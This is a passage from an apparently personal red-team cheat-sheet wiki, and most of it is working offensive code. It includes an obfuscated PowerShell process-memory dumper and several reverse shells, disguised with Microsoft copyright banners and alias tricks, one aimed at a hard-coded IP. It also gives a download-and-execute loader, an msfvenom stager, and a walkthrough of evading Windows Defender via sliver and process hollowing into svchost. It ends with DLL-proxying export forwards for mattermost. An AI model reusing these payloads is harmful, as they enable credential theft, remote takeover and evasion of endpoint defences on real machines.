$C = [Reflection.BindingFlags] &#039;NonPublic, Static&#039;&lt;br /&gt;
$D = $B.GetMethod(&#039;MiniDum&#039;+&#039;pWriteDump&#039;, $C)&lt;br /&gt;
$PF = &amp;quot;$($P.Name)_$($P.Id).dmp&amp;quot;&lt;br /&gt;
$PDP = Join-Path $S $PF&lt;br /&gt;
$F = New-Object IO.FileStream($PDP, [IO.FileMode]::Create)&lt;br /&gt;
$R = $D.Invoke($null, @($P.Handle,$G,$F.SafeFileHandle,[UInt32] 2,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero))&lt;br /&gt;
$F.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reverse Shells ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Set-Alias -Name K -Value Out-String&lt;br /&gt;
Set-Alias -Name nothingHere -Value iex&lt;br /&gt;
$BT = New-Object &amp;quot;S`y`stem.Net.Sockets.T`CPCl`ient&amp;quot;($args[0],$args[1]);&lt;br /&gt;
$replace = $BT.GetStream();&lt;br /&gt;
[byte[]]$B = 0..(32768*2-1)|%{0};&lt;br /&gt;
$B = ([text.encoding]::UTF8).GetBytes(&amp;quot;(c) Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$replace.Write($B,0,$B.Length)&lt;br /&gt;
$B = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$replace.Write($B,0,$B.Length)&lt;br /&gt;
[byte[]]$int = 0..(10000+55535)|%{0};&lt;br /&gt;
while(($i = $replace.Read($int, 0, $int.Length)) -ne 0){;&lt;br /&gt;
$ROM = [text.encoding]::ASCII.GetString($int,0, $i);&lt;br /&gt;
$I = (nothingHere $ROM 2&amp;gt;&amp;amp;1 | K );&lt;br /&gt;
$I2  = $I + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$U = [text.encoding]::ASCII.GetBytes($I2);&lt;br /&gt;
$replace.Write($U,0,$U.Length);&lt;br /&gt;
$replace.Flush()};&lt;br /&gt;
$BT.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$J = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);&lt;br /&gt;
$SS = $J.GetStream();&lt;br /&gt;
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};&lt;br /&gt;
$OO = ([text.encoding]::UTF8).GetBytes(&amp;quot;Copyright (C) 2022 Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$SS.Write($OO,0,$OO.Length)&lt;br /&gt;
$OO = ([text.encoding]::UTF8).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$SS.Write($OO,0,$OO.Length)&lt;br /&gt;
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};&lt;br /&gt;
while(($A = $SS.Read($OO, 0, $OO.Length)) -ne 0){;$DD = (New-Object System.Text.UTF8Encoding).GetString($OO,0, $A);&lt;br /&gt;
$GG = (i`eX $DD 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
$H  = $GG + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$L = ([text.encoding]::UTF8).GetBytes($H);&lt;br /&gt;
$SS.Write($L,0,$L.Length);&lt;br /&gt;
$SS.Flush()};&lt;br /&gt;
$J.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$c = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);&lt;br /&gt;
$I = $c.GetStream();&lt;br /&gt;
[byte[]]$U = 0..(2-shl15)|%{0};&lt;br /&gt;
$U = ([text.encoding]::ASCII).GetBytes(&amp;quot;Copyright (C) 2021 Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$I.Write($U,0,$U.Length)&lt;br /&gt;
$U = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$I.Write($U,0,$U.Length)&lt;br /&gt;
while(($k = $I.Read($U, 0, $U.Length)) -ne 0){;$D = (New-Object System.Text.UTF8Encoding).GetString($U,0, $k);&lt;br /&gt;
$a = (iex $D 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
$r  = $a + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$m = ([text.encoding]::ASCII).GetBytes($r);&lt;br /&gt;
$I.Write($m,0,$m.Length);&lt;br /&gt;
$I.Flush()};&lt;br /&gt;
$c.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
Reverse PowerShell:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$socket = new-object System.Net.Sockets.TcpClient(&#039;10.10.14.5&#039;, 4445);&lt;br /&gt;
if($socket -eq $null){exit 1}&lt;br /&gt;
$stream = $socket.GetStream();&lt;br /&gt;
$writer = new-object System.IO.StreamWriter($stream);&lt;br /&gt;
$buffer = new-object System.Byte[] 1024;&lt;br /&gt;
$encoding = new-object System.Text.AsciiEncoding;&lt;br /&gt;
do{&lt;br /&gt;
        $writer.Write(&amp;quot;PS&amp;gt; &amp;quot;);&lt;br /&gt;
        $writer.Flush();&lt;br /&gt;
        $read = $null;&lt;br /&gt;
        while($stream.DataAvailable -or ($read = $stream.Read($buffer, 0, 1024)) -eq $null){}&lt;br /&gt;
        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer, 0, $read);&lt;br /&gt;
        $sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
        $sendback2  = $sendback;&lt;br /&gt;
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);&lt;br /&gt;
        $writer.Write($sendbyte,0,$sendbyte.Length);&lt;br /&gt;
}While ($true);&lt;br /&gt;
$writer.close();$socket.close();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PowerShell Download payload ====&lt;br /&gt;
&lt;br /&gt;
WebClient DownloadData [http://x.x.x.x/file.exe http://x.x.x.x/file.exe] method:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (new-object net.webclient).downloaddata(&amp;quot;http://10.10.16.74:8080/payload.exe&amp;quot;)&lt;br /&gt;
[System.Reflection.Assembly]::Load($bytes)&lt;br /&gt;
$BindingFlags= [Reflection.BindingFlags] &amp;quot;NonPublic,Static&amp;quot;&lt;br /&gt;
$main = [Shell].getmethod(&amp;quot;Main&amp;quot;, $BindingFlags)&lt;br /&gt;
$main.Invoke($null, $null)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tools that may help with AV Evasion:&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/phra/PEzor https://github.com/phra/PEzor]&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/bats3c/darkarmour https://github.com/bats3c/darkarmour]&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/loadenmb/tvasion https://github.com/loadenmb/tvasion]&lt;br /&gt;
&lt;br /&gt;
== C2 Frameworks ==&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2476 Command And Control – C2 Framework – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
=== Bypassing defender with sliver and staged process hollowing ===&lt;br /&gt;
&lt;br /&gt;
I was able to bypass Windows Defender on a fully patched Windows 10 (12.12.2023) using process hollowing and sliver with shellcode generated by msfvenom.&lt;br /&gt;
&lt;br /&gt;
This is a two staged exectution. The first stage will get our stager for sliver and inject it to svchost using process hollowing. The next stage is sliver executing our implant on the target.&lt;br /&gt;
&lt;br /&gt;
Ps. I was able to bypass defender on Windows 11, however I had to run it through ConfuserEX and enable InsecureGuestAuth. Implementing an authentication method for SMB in the process hollowing code would&#039;ve helped us circumvent guest access blocking.&lt;br /&gt;
&lt;br /&gt;
First generate a shellcode using msfvenom.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/custom/reverse_winhttp LHOST=192.168.1.38 LPORT=1234 LURI=/hello.woff -f raw -o stager.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
We will use a technique called process hollowing and place our shellcode in svchosts.exe. The shellcode will be hosted on my kali using smbserver.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
# Snippet from process hollowing code. See CheatSheet II for full code.&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\svchost.exe&amp;quot;;&lt;br /&gt;
            string shellcodePath = &amp;quot;\\\\192.168.1.38\\share\\UNEVEN_DESTRUCTION.bin&amp;quot;; // Replace with the actual shellcode file path&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
No I will start an smbserver on my kali and setup sliver.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create a new profile that will be we will use for our staging listener.&lt;br /&gt;
profiles new --mtls 192.168.1.38 --format shellcode win-shellcode&lt;br /&gt;
# Creata a steage listener and link it to our profile.&lt;br /&gt;
stage-listener --url http://192.168.1.38:1234 --profile win-shellcode --prepend-size&lt;br /&gt;
# Last start a listener on mTLS.&lt;br /&gt;
mtls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Convert .bin to shellcode \x hex ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/JohnHammond/binnim JohnHammond/binnim: Shitty Nim code that reads in a file and converts it into \x hex representation, for the use of shellcode binaries. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./binnim ~/shellcode.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DLL Proxying ==&lt;br /&gt;
&lt;br /&gt;
This method involves creating a malicious DLL that mimics the interface of a legitimate DLL but adds malicious functionality. The proxy DLL forwards legitimate calls to the original DLL while performing malicious activities in the background.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Accenture/Spartacus?source=post_page-----733d423fc67b-------------------------------- sadreck/Spartacus: Spartacus DLL/COM Hijacking Toolkit (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;gt; * Spartacus automates most of the process. It parses raw [https://learn.microsoft.com/en-us/sysinternals/downloads/procmon SysInternals Process Monitor] logs, and you can leave ProcMon running for hours and discover 2nd and 3rd level DLL/COM hijacking vulnerabilities (ie an app that loads another DLL that loads yet another DLL when you use a specific feature of the parent app).&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt; * Automatically generate Visual Studio solutions for vulnerable DLLs.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Spartacus.exe --mode dll --procmon C:\Users\Maldev\Destkop\Tools\Sysinternals\Procmon.exe --pml C:\Data\logs.pml --csv C:\Data\vulndll.csv --solution C:\Data\Solution --verbose&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Below is an example of DLL proxying of mattermost. In this example spartacus detected that sspicli.dll is missing.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#pragma once&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AcceptSecurityContext=C:\\Windows\\System32\\sspicli.AcceptSecurityContext,@4&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AcquireCredentialsHandleA=C:\\Windows\\System32\\sspicli.AcquireCredentialsHandleA,@5&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AcquireCredentialsHandleW=C:\\Windows\\System32\\sspicli.AcquireCredentialsHandleW,@6&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddCredentialsA=C:\\Windows\\System32\\sspicli.AddCredentialsA,@7&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddCredentialsW=C:\\Windows\\System32\\sspicli.AddCredentialsW,@8&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddSecurityPackageA=C:\\Windows\\System32\\sspicli.AddSecurityPackageA,@9&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddSecurityPackageW=C:\\Windows\\System32\\sspicli.AddSecurityPackageW,@10&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ApplyControlToken=C:\\Windows\\System32\\sspicli.ApplyControlToken,@11&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ChangeAccountPasswordA=C:\\Windows\\System32\\sspicli.ChangeAccountPasswordA,@12&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ChangeAccountPasswordW=C:\\Windows\\System32\\sspicli.ChangeAccountPasswordW,@13&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CompleteAuthToken=C:\\Windows\\System32\\sspicli.CompleteAuthToken,@14&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CredMarshalTargetInfo=C:\\Windows\\System32\\sspicli.CredMarshalTargetInfo,@15&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CredUnmarshalTargetInfo=C:\\Windows\\System32\\sspicli.CredUnmarshalTargetInfo,@16&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DecryptMessage=C:\\Windows\\System32\\sspicli.DecryptMessage,@17&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityContext=C:\\Windows\\System32\\sspicli.DeleteSecurityContext,@18&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityPackageA=C:\\Windows\\System32\\sspicli.DeleteSecurityPackageA,@19&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityPackageW=C:\\Windows\\System32\\sspicli.DeleteSecurityPackageW,@20&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EncryptMessage=C:\\Windows\\System32\\sspicli.EncryptMessage,@21&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EnumerateSecurityPackagesA=C:\\Windows\\System32\\sspicli.EnumerateSecurityPackagesA,@22&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EnumerateSecurityPackagesW=C:\\Windows\\System32\\sspicli.EnumerateSecurityPackagesW,@23&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ExportSecurityContext=C:\\Windows\\System32\\sspicli.ExportSecurityContext,@24&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:FreeContextBuffer=C:\\Windows\\System32\\sspicli.FreeContextBuffer,@25&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:FreeCredentialsHandle=C:\\Windows\\System32\\sspicli.FreeCredentialsHandle,@26&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetSecurityUserInfo=C:\\Windows\\System32\\sspicli.GetSecurityUserInfo,@27&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetUserNameExA=C:\\Windows\\System32\\sspicli.GetUserNameExA,@28&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetUserNameExW=C:\\Windows\\System32\\sspicli.GetUserNameExW,@29&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImpersonateSecurityContext=C:\\Windows\\System32\\sspicli.ImpersonateSecurityContext,@30&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImportSecurityContextA=C:\\Windows\\System32\\sspicli.ImportSecurityContextA,@31&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImportSecurityContextW=C:\\Windows\\System32\\sspicli.ImportSecurityContextW,@32&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitSecurityInterfaceA=C:\\Windows\\System32\\sspicli.InitSecurityInterfaceA,@33&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitSecurityInterfaceW=C:\\Windows\\System32\\sspicli.InitSecurityInterfaceW,@34&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitializeSecurityContextA=C:\\Windows\\System32\\sspicli.InitializeSecurityContextA,@35&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitializeSecurityContextW=C:\\Windows\\System32\\sspicli.InitializeSecurityContextW,@36&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LogonUserExExW=C:\\Windows\\System32\\sspicli.LogonUserExExW,@37&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaCallAuthenticationPackage=C:\\Windows\\System32\\sspicli.LsaCallAuthenticationPackage,@38&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaConnectLocalUser=C:\\Windows\\System32\\sspicli.LsaConnectLocalUser,@39&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaConnectUntrusted=C:\\Windows\\System32\\sspicli.LsaConnectUntrusted,@40&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaDeregisterLogonProcess=C:\\Windows\\System32\\sspicli.LsaDeregisterLogonProcess,@41&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaEnumerateLogonSessions=C:\\Windows\\System32\\sspicli.LsaEnumerateLogonSessions,@42&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaFreeReturnBuffer=C:\\Windows\\System32\\sspicli.LsaFreeReturnBuffer,@43&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaGetLogonSessionData=C:\\Windows\\System32\\sspicli.LsaGetLogonSessionData,@44&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaLogonUser=C:\\Windows\\System32\\sspicli.LsaLogonUser,@45&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaLookupAuthenticationPackage=C:\\Windows\\System32\\sspicli.LsaLookupAuthenticationPackage,@46&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaRegisterLogonProcess=C:\\Windows\\System32\\sspicli.LsaRegisterLogonProcess,@47&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaRegisterPolicyChangeNotification=C:\\Windows\\System32\\sspicli.LsaRegisterPolicyChangeNotification,@48&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaSetMachineCertificate=C:\\Windows\\System32\\sspicli.LsaSetMachineCertificate,@49&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaUnregisterPolicyChangeNotification=C:\\Windows\\System32\\sspicli.LsaUnregisterPolicyChangeNotification,@50&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:MakeSignature=C:\\Windows\\System32\\sspicli.MakeSignature,@51&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesA=C:\\Windows\\System32\\sspicli.QueryContextAttributesA,@52&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesExA=C:\\Windows\\System32\\sspicli.QueryContextAttributesExA,@53&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesExW=C:\\Windows\\System32\\sspicli.QueryContextAttributesExW,@54&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesW=C:\\Windows\\System32\\sspicli.QueryContextAttributesW,@55&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesA=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesA,@56&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesExA=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesExA,@57&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesExW=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesExW,@58&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesW=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesW,@59&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityContextToken=C:\\Windows\\System32\\sspicli.QuerySecurityContextToken,@60&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityPackageInfoA=C:\\Windows\\System32\\sspicli.QuerySecurityPackageInfoA,@61&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityPackageInfoW=C:\\Windows\\System32\\sspicli.QuerySecurityPackageInfoW,@62&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:RevertSecurityContext=C:\\Windows\\System32\\sspicli.RevertSecurityContext,@63&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslAcceptSecurityContext=C:\\Windows\\System32\\sspicli.SaslAcceptSecurityContext,@64&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslEnumerateProfilesA=C:\\Windows\\System32\\sspicli.SaslEnumerateProfilesA,@65&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslEnumerateProfilesW=C:\\Windows\\System32\\sspicli.SaslEnumerateProfilesW,@66&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetContextOption=C:\\Windows\\System32\\sspicli.SaslGetContextOption,@67&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetProfilePackageA=C:\\Windows\\System32\\sspicli.SaslGetProfilePackageA,@68&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetProfilePackageW=C:\\Windows\\System32\\sspicli.SaslGetProfilePackageW,@69&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslIdentifyPackageA=C:\\Windows\\System32\\sspicli.SaslIdentifyPackageA,@70&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslIdentifyPackageW=C:\\Windows\\System32\\sspicli.SaslIdentifyPackageW,@71&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslInitializeSecurityContextA=C:\\Windows\\System32\\sspicli.SaslInitializeSecurityContextA,@72&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslInitializeSecurityContextW=C:\\Windows\\System32\\sspicli.SaslInitializeSecurityContextW,@73&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslSetContextOption=C:\\Windows\\System32\\sspicli.SaslSetContextOption,@74&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SealMessage=C:\\Windows\\System32\\sspicli.SealMessage,@75&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecCacheSspiPackages=C:\\Windows\\System32\\sspicli.SecCacheSspiPackages,@76&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecDeleteUserModeContext=C:\\Windows\\System32\\sspicli.SecDeleteUserModeContext,@1&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecInitUserModeContext=C:\\Windows\\System32\\sspicli.SecInitUserModeContext,@2&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetCallFlags=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetCallFlags,@77&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetCallTarget=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetCallTarget,@78&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetIPAddress=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetIPAddress,@79&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciFreeCallContext=C:\\Windows\\System32\\sspicli.SeciFreeCallContext,@80&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciIsProtectedUser=C:\\Windows\\System32\\sspicli.SeciIsProtectedUser,@81&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetContextAttributesA=C:\\Windows\\System32\\sspicli.SetContextAttributesA,@82&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetContextAttributesW=C:\\Windows\\System32\\sspicli.SetContextAttributesW,@83&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetCredentialsAttributesA=C:\\Windows\\System32\\sspicli.SetCredentialsAttributesA,@84&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetCredentialsAttributesW=C:\\Windows\\System32\\sspicli.SetCredentialsAttributesW,@85&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiCompareAuthIdentities=C:\\Windows\\System32\\sspicli.SspiCompareAuthIdentities,@86&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiCopyAuthIdentity=C:\\Windows\\System32\\sspicli.SspiCopyAuthIdentity,@87&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiDecryptAuthIdentity=C:\\Windows\\System32\\sspicli.SspiDecryptAuthIdentity,@88&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiDecryptAuthIdentityEx=C:\\Windows\\System32\\sspicli.SspiDecryptAuthIdentityEx,@89&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncodeAuthIdentityAsStrings=C:\\Windows\\System32\\sspicli.SspiEncodeAuthIdentityAsStrings,@90&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncodeStringsAsAuthIdentity=C:\\Windows\\System32\\sspicli.SspiEncodeStringsAsAuthIdentity,@91&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncryptAuthIdentity=C:\\Windows\\System32\\sspicli.SspiEncryptAuthIdentity,@92&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncryptAuthIdentityEx=C:\\Windows\\System32\\sspicli.SspiEncryptAuthIdentityEx,@93&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiExcludePackage=C:\\Windows\\System32\\sspicli.SspiExcludePackage,@94&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiFreeAuthIdentity=C:\\Windows\\System32\\sspicli.SspiFreeAuthIdentity,@95&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiGetComputerNameForSPN=C:\\Windows\\System32\\sspicli.SspiGetComputerNameForSPN,@96&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiGetTargetHostName=C:\\Windows\\System32\\sspicli.SspiGetTargetHostName,@97&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiIsAuthIdentityEncrypted=C:\\Windows\\System32\\sspicli.SspiIsAuthIdentityEncrypted,@98&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiLocalFree=C:\\Windows\\System32\\sspicli.SspiLocalFree,@99&amp;quot;)&lt;br /&gt;
